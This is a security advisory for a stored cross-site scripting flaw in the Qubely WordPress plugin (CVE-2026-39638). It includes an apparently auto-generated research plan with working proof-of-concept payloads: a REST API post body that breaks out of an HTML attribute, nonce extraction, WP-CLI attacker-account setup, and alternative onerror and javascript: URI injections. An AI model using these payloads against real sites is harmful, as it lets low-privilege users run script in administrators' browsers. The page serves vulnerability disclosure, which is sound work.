CVE-2026-39638

Qubely <= 1.8.14 - Authenticated (Author+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Qubely plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.8.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.14
PublishedFebruary 14, 2026
Last updatedApril 15, 2026
Affected pluginqubely
Research Plan
Unverified

This plan outlines the steps required to research and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Qubely** plugin (versions <= 1.8.14). ### 1. Vulnerability Summary The **Qubely – Advanced Gutenberg Blocks** plugin fails to properly sanitize or escape user-controlled block at…

Show full research plan

This plan outlines the steps required to research and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Qubely plugin (versions <= 1.8.14).

1. Vulnerability Summary

The Qubely – Advanced Gutenberg Blocks plugin fails to properly sanitize or escape user-controlled block attributes when rendering content. Since Gutenberg blocks are stored as JSON-like comments within the post_content of a WordPress post, an authenticated user with "Author" privileges (who can create and edit posts) can inject malicious JavaScript into these attributes. When the post is rendered on the frontend or viewed in the editor by another user (including an Administrator), the script executes.

2. Attack Vector Analysis

  • Authentication Level: Author or higher (users allowed to use the Gutenberg editor).
  • Vulnerable Endpoint: WordPress REST API post creation/update endpoint: POST /wp-json/wp/v2/posts.
  • Payload Location: Within the post_content parameter, specifically inside a Qubely block's attribute JSON (e.g., elementId, customClass, or content fields).
  • Preconditions: The Qubely plugin must be active. The attacker needs a valid Author session.

3. Code Flow

  1. Block Registration: Qubely registers various blocks (e.g., qubely/row, qubely/button, qubely/infobox). These blocks are defined in dist/blocks.bundle.js (client-side) and often have associated PHP renderers.
  2. Input: An Author saves a post via the Gutenberg editor. The editor sends a REST API request containing the post_content. Qubely block attributes are serialized into the HTML comments: <!-- wp:qubely/blockname {"attribute":"value"} /-->.
  3. Storage: WordPress saves this raw string into the wp_posts table.
  4. Sink (Rendering): When the post is viewed, WordPress parses the blocks. For dynamic blocks, Qubely uses a render_callback function (typically found in classes/class-qubely-utils.php or block-specific files). If these functions echo attributes like elementId or customClassName without using esc_attr(), the XSS is triggered.

4. Nonce Acquisition Strategy

To interact with the WordPress REST API, a _wpnonce (specifically the wp_rest nonce) is required for authentication via cookies.

  1. Identify Trigger: The REST nonce is globally available in the WordPress admin dashboard for logged-in users.
  2. Acquisition Steps:
    • Log in as the Author user.
    • Navigate to the "Add New Post" page: /wp-admin/post-new.php.
    • Use browser_eval to extract the nonce from the wpApiSettings object:
      browser_eval("window.wpApiSettings.nonce")
      
    • This nonce is valid for the wp_rest action and is necessary for the X-WP-Nonce header.

5. Exploitation Strategy

We will attempt to inject a payload into a common Qubely block attribute (e.g., elementId or customClassName) that is likely rendered as an HTML attribute.

Step 1: Test for Injection in qubely/row

  • Action: Create a new post via the REST API.
  • Method: POST
  • URL: /wp-json/wp/v2/posts
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Payload (JSON Body):
    {
      "title": "XSS Test Page",
      "content": "<!-- wp:qubely/row {\"elementId\":\"qubely-row-id\\\" onmouseover=\\\"alert(document.domain)\\\" style=\\\"position:fixed;top:0;left:0;width:100%;height:100%;\\\"\"} /-->",
      "status": "publish"
    }
    
    (Note: The payload breaks out of the id="..." attribute using a double quote and adds an onmouseover event handler with a style that covers the page.)

Step 2: Triggering the XSS

  • Action: Navigate to the URL of the newly created post (returned in the REST response as link).
  • Verification: The script should execute when the mouse moves over the page.

6. Test Data Setup

  1. Plugin Installation: Install and activate Qubely <= 1.8.14.
  2. User Creation: Create a user with the author role.
    wp user create attacker attacker@example.com --role=author --user_pass=password123
    
  3. Authentication: Log in to the execution environment as attacker.

7. Expected Results

  • The REST API call should return a 201 Created status code.
  • The post_content in the database should contain the unescaped payload.
  • When viewing the post frontend, the HTML source should look like:
    <div id="qubely-row-id" onmouseover="alert(document.domain)" ... class="qubely-block-row ...">
  • A browser alert showing the document domain should appear.

8. Verification Steps

After performing the HTTP request, verify the storage of the payload using WP-CLI:

# Get the latest post ID
POST_ID=$(wp post list --post_type=post --format=ids | awk '{print $1}')

# Check the content for the payload
wp post get $POST_ID --field=content | grep "onmouseover"

9. Alternative Approaches

If the elementId attribute is sanitized, try these alternatives:

  1. customClassName Attribute:
    <!-- wp:qubely/row {"customClassName":"\" onmouseover=\"alert(1)\""} /-->
  2. Generic Text Block Content:
    If Qubely provides a "Text" or "Heading" block, check if raw HTML is allowed in the content attribute:
    <!-- wp:qubely/heading {"content":"<img src=x onerror=alert(1)>"} /-->
  3. Button URL:
    Check if the qubely/button block allows javascript: URIs in the link attribute:
    <!-- wp:qubely/button {"url":"javascript:alert(1)"} /--> (Note: esc_url usually catches this, but many plugins use custom rendering).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.